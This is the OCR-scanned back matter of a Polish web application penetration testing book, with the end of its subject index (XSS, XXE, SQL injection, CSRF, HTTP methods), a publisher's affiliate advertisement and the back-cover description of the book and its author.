logowania, 118
modyfikacja adreséw
URL, 106
na $lepo, 110
skrypt modyfikujacy, 121,
123
technika czasowa, 109, 110
techniki, 102, 109, 110
wykorzystywanie bledu,
102, 109
obiektu PHP, Patrz: POI
pliku
lokalne, Patrz: LFI
zdalne, Patrz: RFI

X

X-Forwarded-For-Header, 68
XSS, 57, 60, 62, 64, 65, 70, 75,
134, 198, 199
adres IP, 67
API, 64
bazujacy na obiektach DOM,
72,74, 77
Flash, 70
Markdown, 64
odbity, 57, 58, 59, 60
token CSFR, 90
utrwalony, Patrz: XSS
zapisany
zapisany, 57, 62, 64, 67
XXE, 172, 173, 177
DoS, 177

Y
YouGetSignal, 50

Skorowidz

4

zabezpieczenie CSRF,
Patrz: CSRF
zapytanie
SELECT, 119
stos, 119
zasada tego samego
pochodzenia, Patrz: SOP
znacznik
HttpOnly, 71, 72
Secure, 72
znak
C171
" 171
&, 171
/24
<, 24,170, 171
>, 170, 171
niezastrzezony, 24
kodowanie, 25
przejscia do nowego wiersza,
221
specjalny, 170, 171
zastrzezony, 24
kodowanie, 25

4

zadanie

CORS, 23

DELETE, 228, 237

GET, 84, 114, 130, 228, 234,
237

HEAD, 228

JSON, 89

OPTIONS, 228

POST, 84, 85, 89, 90, 96,
115, 117, 228, 237

proste, 23

PUT, 228

typ, 228

wstepnego sprawdzenia, 23
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PROGRAM
- PARTN ERSKI

el e \“
QPY WYDAWNICZE. '

1. ZAREJESTRUJ SIE
2. PREZENTUJ KSIAZKI
3. ZBIERAJ PROWIZJE

Zmien swoja strone WWW
w dziatajacy bankomat!

Dowiedz si¢ wigcej i dotacz juz dzisiaj!
http://program-partnerski.helion.pl

GRUPA WY DAVRICZA

¥ Helion SA


http://program-partnerski.helion.pl

Testy penetracyjne — klucz do bezpieczenstwa Twojej aplikacji!

Siec stata sie niebezpiecznym miejscem. Miedzy grasujacymi w nigj ztoczyncami a inzynie-
rami bezpieczenstwa aplikacji trwa wyscig zbrojen. Mimo to oczywiste jest, ze uzyskanie
stuprocentowego bezpieczenstwa jest niemozliwe. Jedna z technik zabezpieczania aplikacji

sg testy penetracyjne, ktore polegaja na atakowaniu systemu réznymi metodami, aby odnaleze
jego stabe punkty i pokazac, jak mozna sie do niego wtamac.

Niniejsza ksiazka stanowi wyczerpujace zZrodto wiedzy dla testerow przeprowadzajacych
analize aplikacji internetowych. Opisano tu zaréwno najnowsze, jak i klasyczne techniki
tamania zabezpieczen — bardzo czesto starsze metody rozwijaja sie w roznych kierunkach

i nie nalezy o nich zapominac. Miedzy innymi przedstawiono informacje o atakach XML, w tym
XXE, oraz metody wykorzystywania stabych stron OAuth 2.0. Omdwiono rowniez XSS, CSRF,
Metasploit | wstrzykiwanie SQL. Nie zabrakto tez opisu rzeczywistych przypadkow testowania
aplikacji.

W tej ksigzce miedzy innymi:

podstawowe techniki zapewniania bezpieczenstwa w sieci
prowadzenie rozpoznania przed atakiem

mniej popularne wektory atakow, w tym RPO i przebijanie DOM
metody testowania AP

podstawowe btedy popetniane przez programistow

Prakhar Prasad mieszka w Indiach. Jest ekspertem w dziedzinie bezpieczenstwa aplikacji
specjalizujgcym sie w testach penetracyjnych. W 2014 roku zostat sklasyfikowany na
dziesigte] pozycji w swiatowym rankingu HackerOne. Zdobyt kilka nagrod za znalezienie luk
bezpieczenstwa w takich serwisach jak Google, Facebook, Twitter, PayPal czy Slack. Posiada
certyfikaty z OSCP. Przeprowadza testy bezpieczenstwa dla réznych organizacji rzadowych,
pozarzadowych | edukacyjnych.
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